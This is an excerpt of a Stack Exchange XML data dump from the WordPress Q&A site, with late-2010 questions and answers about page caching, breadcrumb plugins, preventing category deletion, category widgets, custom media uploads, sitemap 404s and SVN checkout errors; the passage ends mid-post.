  <row Id="4432" PostTypeId="1" AcceptedAnswerId="4436" CreationDate="2010-11-23T11:11:50.090" Score="2" ViewCount="101" Body="&lt;p&gt;In the w3 total cache there is the option to set the time until the cache is flushed (and thus, recreated on the next time a visitor comes by).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, assuming I've got a lot of content on my site that doesn't change almost ever, why would I not just set the caching to stay for days (instead of getting flushed every hour or so)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a problem with that strategy?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:37:51.200" LastActivityDate="2011-01-31T09:37:51.200" Title="Should the page cache be refreshed often?" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="4434" PostTypeId="2" ParentId="2776" CreationDate="2010-11-23T11:26:28.627" Score="1" ViewCount="" Body="&lt;p&gt;I've solved it by using this tutorial: &lt;a href=&quot;http://buddydev.com/buddypress/creating-the-sitewide-globalunified-search-page-for-your-buddypress-theme/&quot; rel=&quot;nofollow&quot;&gt;Creating The sitewide global/unified search Page for your Buddypress Theme&lt;/a&gt; (28 Apr 2010; Buddy Dev)&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T15:15:48.680" LastActivityDate="2010-11-23T15:15:48.680" />
  <row Id="4435" PostTypeId="2" ParentId="4429" CreationDate="2010-11-23T11:31:52.693" Score="1" ViewCount="" Body="&lt;p&gt;Hi&lt;br&gt;&#xA;I've asked that same question a few weeks ago and i've found the solution for this search issue.&lt;br&gt;&#xA;Just go to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2776/search-engine-plugin-overrides-the-normal-wordpress-search&quot;&gt;How to override normal Wordpress search in Buddypress?&lt;/a&gt;&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T15:25:29.840" LastActivityDate="2010-11-23T15:25:29.840" />
  <row Id="4436" PostTypeId="2" ParentId="4432" CreationDate="2010-11-23T11:50:01.810" Score="4" ViewCount="" Body="&lt;p&gt;The one possibility is caching broken page. For example some database query fails (which is not uncommon in shared environment and/or under load) and some page gets displayed broken / with errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since caching doesn't assume integrity checking it can cache such page... And your cache interval is days - page is broken as long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work better if mechanism was manual - you explicitly make something static and it remains that way (plenty CMS enginges work completely like that - generate complete static page and serve it). But I am not aware of any WP plugins that implement that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-23T11:50:01.810" />
  <row Id="4437" PostTypeId="2" ParentId="4426" CreationDate="2010-11-23T11:54:46.347" Score="1" ViewCount="" Body="&lt;p&gt;Double check &lt;code&gt;mod_security&lt;/code&gt; and ask hosting to check its logs. It can be configured to ignore &lt;code&gt;.htaccess&lt;/code&gt; and obscure 404 in admin seems like something it does at times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to ask my hosting to explicitly whitelist WP core files some files in &lt;code&gt;mod_security&lt;/code&gt; on their end for everything to work properly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-23T11:54:46.347" CommentCount="5" />
  <row Id="4438" PostTypeId="2" ParentId="4430" CreationDate="2010-11-23T12:00:01.430" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumb-trail/&quot; rel=&quot;nofollow&quot;&gt;Breadcrumb Trail&lt;/a&gt;, I took quick look in source and it seems to accept fitting argument &lt;code&gt;'show_home' =&amp;gt; __( 'Home', $textdomain ),&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-23T12:00:01.430" />
  <row Id="4439" PostTypeId="1" AcceptedAnswerId="4445" CreationDate="2010-11-23T12:34:46.000" Score="0" ViewCount="189" Body="&lt;p&gt;I am writing a plugin where I have custom taxonomy (category). I want to prevent &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;any user&lt;/strong&gt; from &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;deleting some&lt;/strong&gt; of &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;custom categories&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way how to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that category with id1-id10 nobody (admin included) can delete.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditorDisplayName="" LastEditDate="2010-11-23T13:10:19.590" LastActivityDate="2011-06-14T19:32:44.063" Title="can I prevent WP users (even admin) from deleting custom categories?" Tags="&lt;plugin-development&gt;&lt;custom-taxonomy&gt;" AnswerCount="3" />
  <row Id="4440" PostTypeId="2" ParentId="4439" CreationDate="2010-11-23T14:15:46.250" Score="1" ViewCount="" Body="&lt;p&gt;you could use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cats = wp_list_categories('echo'=&amp;gt;FALSE);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find the categories, then search for the ones you want. Then you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_set_object_terms( $object_id, $missing_cat, 'category', TRUE ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to place them in. You'll need a post that you don't mind having all the categories assigned to, a private post would work well here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final code might look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function cats_protector(){&#xA;    $current_cats = wp_list_categories('echo'=&amp;gt;FALSE);&#xA;    $my_cats = array('list','of','required','categories');&#xA;&#xA;    foreach ($my_cats as $cat){&#xA;        if(!in_array($cat, $current_cats){&#xA;            wp_set_object_terms( 15, $cat, 'category', TRUE );&#xA;        }&#xA;    }&#xA;}&#xA;add_action('init','cats_protector');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is straight-from-the-brain, fresh and untested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that this will not prevent deletion, it will just put them straight back so long as it is called on init.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent deletion, you COULD look at hiding the option with CSS in the admin panel.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-11-23T14:15:46.250" />
  <row Id="4441" PostTypeId="2" ParentId="4422" CreationDate="2010-11-23T14:16:51.570" Score="4" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ: My site was hacked « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;How to completely clean your hacked wordpress installation&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-11-23T14:16:51.570" />
  <row Id="4442" PostTypeId="2" ParentId="4430" CreationDate="2010-11-23T14:20:17.120" Score="1" ViewCount="" Body="&lt;p&gt;You can also use a custom function in your theme, follow an example with the &quot;Home&quot;; you can commented this or delete&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('fb_breadcrumb_nav') ) {&#xA;        function fb_breadcrumb_nav() {&#xA;                if ( !is_home() || !is_front_page() ) {&#xA;                        echo '&amp;lt;p class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;a href=&quot;';&#xA;                        echo get_option('home');&#xA;                        echo '&quot;&amp;gt;';&#xA;                        bloginfo('name') . _e('&amp;lt;/a&amp;gt; &amp;amp;raquo; ', FB_BASIS_TEXTDOMAIN);&#xA;                        if ( is_category() || is_single() ) {&#xA;                                $category = get_the_category();&#xA;                                $ID = $category[0]-&amp;gt;cat_ID;&#xA;                                echo get_category_parents($ID, TRUE, __(' &amp;amp;raquo; ', FB_BASIS_TEXTDOMAIN), FALSE );&#xA;                        } elseif (is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_parent ) {&#xA;                                _e( get_the_title($post-&amp;gt;post_parent) );&#xA;                                _e(' &amp;amp;raquo; ');&#xA;                                _e( the_title() );&#xA;                        } elseif ( is_search() ) {&#xA;                                _e('Suche nach: ', FB_BASIS_TEXTDOMAIN) . the_search_query() . _e('&amp;lt;/p&amp;gt;');&#xA;                        }&#xA;                }&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now an example without Home&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('fb_breadcrumb_nav') ) {&#xA;        function fb_breadcrumb_nav() {&#xA;                if ( !is_home() || !is_front_page() ) {&#xA;                        echo '&amp;lt;p class=&quot;breadcrumb&quot;&amp;gt;';&#xA;                        _e( ' &amp;amp;raquo; ', FB_BASIS_TEXTDOMAIN );&#xA;                        if ( is_category() || is_single() ) {&#xA;                                $category = get_the_category();&#xA;                                $ID = $category[0]-&amp;gt;cat_ID;&#xA;                                echo get_category_parents($ID, TRUE, __(' &amp;amp;raquo; ', FB_BASIS_TEXTDOMAIN), FALSE );&#xA;                        } elseif (is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_parent ) {&#xA;                                _e( get_the_title($post-&amp;gt;post_parent) );&#xA;                                _e(' &amp;amp;raquo; ');&#xA;                                _e( the_title() );&#xA;                        } elseif ( is_search() ) {&#xA;                                _e('Suche nach: ', FB_BASIS_TEXTDOMAIN) . the_search_query() . _e('&amp;lt;/p&amp;gt;');&#xA;                        }&#xA;                }&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-23T14:20:17.120" />
  <row Id="4443" PostTypeId="2" ParentId="4429" CreationDate="2010-11-23T14:21:47.480" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/relevanssi/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-11-23T14:21:47.480" CommentCount="1" />
  <row Id="4444" PostTypeId="1" AcceptedAnswerId="4446" CreationDate="2010-11-23T14:43:31.763" Score="0" ViewCount="332" Body="&lt;p&gt;The code below if from my WP plugin which gives a filtered listing of categories excluding the &quot;uncategorized&quot; category from display. However, when the user chooses &quot;Show Hierarchy&quot; from the widget setup options, the resulting display includes &quot;uncategorized&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that I've placed 'exclude_tree' =&gt; 1 into the $cat_args array. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget_Categories extends WP_Widget {&#xA;&#xA;    function My_Widget_Categories() {&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'widget_categories', 'description' =&amp;gt; __( &quot;filters out uncategorized categories&quot; ) );&#xA;        $this-&amp;gt;WP_Widget('my_categories', __('my Categories'), $widget_ops);&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Categories' ) : $instance['title']);&#xA;        $c = $instance['count'] ? '1' : '0';&#xA;        $h = $instance['hierarchical'] ? '1' : '0';&#xA;        $d = $instance['dropdown'] ? '1' : '0';&#xA;&#xA;        echo $before_widget;&#xA;        if ( $title )&#xA;            echo $before_title . $title . $after_title;&#xA;            $cat_args = array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h, 'exclude_tree' =&amp;gt; 1);&#xA;        if ( $d ) {&#xA;            $cat_args['show_option_none'] = __('Select Category');&#xA;            wp_dropdown_categories(apply_filters('widget_categories_dropdown_args', $cat_args));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-23T15:18:27.070" LastActivityDate="2010-11-23T15:23:34.913" Title="How to exclude &quot;uncategorized&quot; from custom categories widget?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4445" PostTypeId="2" ParentId="4439" CreationDate="2010-11-23T14:58:57.727" Score="3" ViewCount="" Body="&lt;p&gt;If you want to prevent deleting a single or a list of category IDs within the admin, you can prevent so by blocking all requests that delete the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no hook in wordpress you can make use of to use easily, but there's always a work-around. In my example I use the &lt;code&gt;check_admin_referer&lt;/code&gt; and &lt;code&gt;check_ajax_referer&lt;/code&gt; hooks (note the typo in the hook name) combined with a check if the request is actually one to delete a category (delete something within the &lt;code&gt;category&lt;/code&gt; taxnonomy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;a href=&quot;http://hakre.wordpress.com/2010/05/01/must-use-and-drop-ins-plugins/&quot; rel=&quot;nofollow&quot;&gt;Must-Use Plugin&lt;/a&gt;: &lt;a href=&quot;https://gist.github.com/711874&quot; rel=&quot;nofollow&quot;&gt;Wordpress Block Category Deletion Example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On deletion of a blocked category, you will get either a &lt;em&gt;You do not have permission to do that.&lt;/em&gt; message (Ajax) or a &lt;em&gt;This category is blocked for deletion.&lt;/em&gt; message and you need to go back with your browser.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-23T14:58:57.727" CommentCount="1" />
  <row Id="4446" PostTypeId="2" ParentId="4444" CreationDate="2010-11-23T15:07:16.750" Score="1" ViewCount="" Body="&lt;p&gt;It's hard to say from your code. The &lt;code&gt;exclude_tree&lt;/code&gt; parameter of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories()&lt;/a&gt; &#xA;is pretty undocumented in codex. It's making use of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories()&lt;/a&gt; which does not list it at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have children within that category, you can consider to use the &lt;code&gt;exclude&lt;/code&gt; parameter instead / additional. Just give it a test if that works. This might save you the hassle to deal with some bugs in wordpress in the end. Wordpress is not very well in handling hierarchy over the last years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background info: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/9999&quot; rel=&quot;nofollow&quot;&gt;Beta 2.8.2 - wp_list_categories buggy hierarchy - Ticket #9999&lt;/a&gt;; &lt;a href=&quot;http://core.trac.wordpress.org/ticket/8614&quot; rel=&quot;nofollow&quot;&gt;With wp_list_categories child categories not excluded when parents are excluded - Ticket #8614&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T15:23:34.913" LastActivityDate="2010-11-23T15:23:34.913" CommentCount="2" />
  <row Id="4447" PostTypeId="1" AcceptedAnswerId="4448" CreationDate="2010-11-23T15:15:27.593" Score="0" ViewCount="140" Body="&lt;p&gt;I'm working on my wordpress site, and I want to have a page that shows all posts from the category 'portfolio' on a separate site. I'm using the following technique:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#A_Page_of_Posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on my testblog this works fine ( &lt;a href=&quot;http://dev.litso.com/portfolio-2/&quot; rel=&quot;nofollow&quot;&gt;http://dev.litso.com/portfolio-2/&lt;/a&gt; ) but on my live blog it doesn't seem to load the custom pagetemplate portfolio.php ( &lt;a href=&quot;http://www.stephanmuller.nl/portfolio-2/&quot; rel=&quot;nofollow&quot;&gt;http://www.stephanmuller.nl/portfolio-2/&lt;/a&gt; ). Instead, it uses the regular page.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are pages (not posts), use the exact same theme (not even a copy, the same physical theme in a multisite installation), the same custom field 'category' with a value of 'portfolio' and both blogs have at least one entry with the 'portfolio' category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference between the two is that the dev blog does &lt;em&gt;not&lt;/em&gt; have the option to choose the page's template (yet it does use the custom Portfolio template). The live site does have this option and it's set to Portfolio of course but when I view the page it uses Page. I can't find out why this is either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who can help?&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2010-11-23T15:34:56.507" Title="Page with posts from category doesn't work" Tags="&lt;page-template&gt;" AnswerCount="1" />
  <row Id="4448" PostTypeId="2" ParentId="4447" CreationDate="2010-11-23T15:34:56.507" Score="2" ViewCount="" Body="&lt;p&gt;So, apparently I accidently copied the comment &lt;code&gt;Template Name: Portfolio&lt;/code&gt; to my page.php as well, so when I selected the 'portfolio' template wordpress just picked page.php out of the two possible templates. May be a warning for other people that have this problem :)&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2010-11-23T15:34:56.507" />
  <row Id="4449" PostTypeId="2" ParentId="4430" CreationDate="2010-11-23T16:23:40.493" Score="1" ViewCount="" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4430/recommended-breadcrumb-plugins-with-possibility-for-hiding-home-link/4454#4454&quot;&gt;Mtekk's answer&lt;/a&gt; does basically what I was suggesting w/o the need to touch the plugin itself, so my answer is of quite theoretical nature. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4430/recommended-breadcrumb-plugins-with-possibility-for-hiding-home-link/4454#4454&quot;&gt;He describes how to do that easily&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think the easiest thing for doing so as you're mainly confident with the plugin (saying something minor to change), it would be to hack the plugin and insert a filter hook. Then you can filter based on your needs. If you share the code this might it make even into the original plugin, so you can benefit of updates.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See file &lt;code&gt;breadcrumb_navxt_class.php&lt;/code&gt;. I've slightly changed a single function to create a filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * add&#xA; * &#xA; * Adds a breadcrumb to the breadcrumb trail&#xA; * &#xA; * @return pointer to the just added Breadcrumb&#xA; * @param bcn_breadcrumb $object Breadcrumb to add to the trail&#xA; */&#xA;function &amp;amp;add(bcn_breadcrumb $object)&#xA;{&#xA;    $doAdd = true;&#xA;    $doAdd = do_filter('_bcn_breadcrumb_trail_add_filter', $doAdd, $object);&#xA;    if ($doAdd) {&#xA;        $this-&amp;gt;trail[] = $object;  &#xA;        return $this-&amp;gt;trail[count($this-&amp;gt;trail) - 1];&#xA;    } else {&#xA;        return $object; // NOTE: violates function return spec but prevents errors later on.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The introduced filter is named &lt;code&gt;_bcn_breadcrumb_trail_add_filter&lt;/code&gt;. You now can hook to that filter and return &lt;code&gt;FALSE&lt;/code&gt; which will prevent adding &lt;code&gt;$object&lt;/code&gt; to the breadcrumb trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In you filter you can decide based on &lt;code&gt;$object&lt;/code&gt; wether or not you want to have it added. That is a &lt;code&gt;bcn_breadcrumb&lt;/code&gt; so you can check for it's &lt;code&gt;title&lt;/code&gt; member to look for home or so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $object-&amp;gt;title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to do is to add some code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter('_bcn_breadcrumb_trail_add_filter', function($doAdd, $object) {&#xA;     if ($object-&amp;gt;title === 'Home'&#xA;         &amp;amp;&amp;amp; /* this is a page I don't want to have it displayed */) {&#xA;         $doAdd = false;&#xA;     }&#xA;     return $doAdd;&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW, the author of the plugin is around here from time to time, so probably he has some feedback on this as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T20:01:08.337" LastActivityDate="2010-11-23T20:01:08.337" CommentCount="2" />
  <row Id="4450" PostTypeId="2" ParentId="4417" CreationDate="2010-11-23T16:58:58.107" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar issue with lightbox or shadowbox. Set the div css to display: inline. That's a chrome-specific stylesheet element. &lt;/p&gt;&#xA;" OwnerUserId="1670" LastActivityDate="2010-11-23T16:58:58.107" />
  <row Id="4451" PostTypeId="1" AcceptedAnswerId="4501" CreationDate="2010-11-23T17:36:51.753" Score="4" ViewCount="345" Body="&lt;p&gt;The code below resides in my theme's functions.php and creates a custom upload icon on top of the WordPress content editor, alongside the default upload icon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images uploaded via this icon get a special flag in wp_postmeta called _imageTop to differentiate them from standard attached images (to allow me to do special things to them as a separate collection of &quot;attached&quot; images).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got 3 problems occuring that I'm sure are simple fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The attachment_fields_to_save filter does not get applied, even though I can see the echo'd text inside the media-upload.php window. I know this because the _imageTop meta only gets written to the database when I comment out the if(isset) check&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) After the images have been uploaded, I have to click on &quot;Save all changes&quot; to get the _imageTop meta to save to the database. Ideally, I'd like the data saved immediately after the upload, without having to click &quot;Save all changes&quot;. This is probably due to the fact that the attachment_fields_to_save handler only fires on the &quot;Save all changes&quot; hook. Nevertheless, I'd like to figure out how to get it to fire when the images have been uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I want to remove the &quot;insert into post&quot; link from the screen.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Upload custom images&#xA;function my_customImages($initcontext)&#xA;{&#xA;    global $post;&#xA;    ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    var fileInput = '';&#xA;    jQuery('#wpe-uploadAttachments').click(function() {&#xA;        fileInput = jQuery(this).prev('input');&#xA;        formfield = jQuery('#upload_image').attr('name');&#xA;        post_id = jQuery('#post_ID').val();&#xA;        tb_show('my Product Images', 'media-upload.php?post_id='+post_id+'&amp;amp;type=image&amp;amp;my_idCustomAttachment=true&amp;amp;TB_iframe=true');&#xA;        return false;&#xA;    });&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    return $initcontext. '&amp;lt;input type=&quot;hidden&quot; id=&quot;post_ID&quot; value=&quot;'. $post-&amp;gt;ID .'&quot; /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;Product Images:&amp;lt;a id=&quot;wpe-uploadAttachments&quot; href=&quot;javascript:;&quot; class=&quot;mceButton mceButtonEnabled&quot; onmousedown=&quot;return false;&quot; onclick=&quot;return false;&quot; title=&quot;Click here to upload your product images for this post&quot;&amp;gt;&amp;lt;img src=&quot;'.get_bloginfo('template_directory') .'/img/upload-icon.gif&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('media_buttons_context', 'my_customImages');&#xA;&#xA;function my_image_attachment_fields_to_save($post, $attachment) {&#xA;    update_post_meta($post['ID'], '_imageTop', true);&#xA;    return $post;&#xA;}&#xA;&#xA;if(isset($_GET['my_idCustomAttachment'])){&#xA;    echo &quot;This is true&quot;;&#xA;    add_filter(&quot;attachment_fields_to_save&quot;, &quot;my_image_attachment_fields_to_save&quot;, null , 2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-23T17:43:03.073" LastActivityDate="2010-11-24T22:08:53.177" Title="Custom attachments uploader code. Almost there!" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="4453" PostTypeId="1" CreationDate="2010-11-23T18:53:16.743" Score="0" ViewCount="220" Body="&lt;p&gt;I am using yahoo hosting, wordpress 3.0.1 and &lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps (Wordpress Plugin)&lt;/a&gt; 3.2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin generates sitemap.xml and notify all webmasters successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to see sitemap.xml through FTP but the problem is whenever i open the link &lt;a href=&quot;http://blog.example.com/sitemap.xml&quot; rel=&quot;nofollow&quot;&gt;http://blog.example.com/sitemap.xml&lt;/a&gt;, it's showing 404 error.&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:35:05.063" LastActivityDate="2011-08-12T04:22:34.707" Title="XML Sitemap Generator and 404 problem" Tags="&lt;plugins&gt;&lt;server&gt;&lt;configuration&gt;&lt;google-xml-sitemaps&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="4454" PostTypeId="2" ParentId="4430" CreationDate="2010-11-23T19:48:41.287" Score="3" ViewCount="" Body="&lt;p&gt;What kind of pages are you trying to hide the home breadcrumb on? If it is just on the home page, wrap the call in a check for &lt;code&gt;is_front_page&lt;/code&gt; e.g. &#xA;&lt;code&gt;if(!is_front_page){bcn_display();}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want the home breadcrumb at all, make sure &quot;Place the home breadcrumb in the trail.&quot; is not checked on the settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to conditionally remove the home breadcrumb (honestly does not make sense to do, but whatever). Look at the bcn_after_trail action. It will pass in the current breadcrumb_trail object, and you can pop off the last member in the trail array (the home breadcrumb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be:&#xA;&lt;code&gt;add_action('bcn_after_fill', 'foo_pop');&#xA;function foo_pop(&amp;amp;$trail)&#xA;{&#xA;if(is_page('foo'))&#xA;{&#xA;array_pop($trail-&amp;gt;trail);&#xA;}&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would remove the home breadcrumb from the trail for the page with slug 'foo'.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-11-23T19:48:41.287" CommentCount="2" />
  <row Id="4457" PostTypeId="1" AcceptedAnswerId="4468" CreationDate="2010-11-23T21:15:48.647" Score="0" ViewCount="138" Body="&lt;p&gt;I have problems to checkout the wordpress.org plugin repository via SVN on &lt;code&gt;https://plugins.svn.wordpress.org/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it starts all looking well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;svn --force checkout https://plugins.svn.wordpress.org/&#xA;A    plugins.svn.wordpress.org\lumberjack&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But while it progresses, it gets stuck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;A    plugins.svn.wordpress.org\gbs-ad-shopping\readme.txt&#xA;A    plugins.svn.wordpress.org\gbs-ad-shopping\SaveButton.png&#xA;svn: In directory 'plugins.svn.wordpress.org\gbs-ad-shopping'&#xA;svn: Can't open file 'plugins.svn.wordpress.org\gbs-ad-shopping\.svn\tmp\text-base\readme.txt.svn-base': Das System kann die angegebene Datei nicht finden.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Das System kann die angegebene Datei nicht finden.&lt;/em&gt; is German for a file not found error)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now the working copy is broken. First thing to do I thought is to run a cleanup, but see what happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;svn cleanup plugins.svn.wordpress.org&#xA;svn: In directory 'plugins.svn.wordpress.org\gbs-ad-shopping'&#xA;svn: Error processing command 'modify-wcprop' in 'plugins.svn.wordpress.org\gbs-ad-    shopping'&#xA;svn: 'plugins.svn.wordpress.org\gbs-ad-shopping\format' is not under version control&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks a 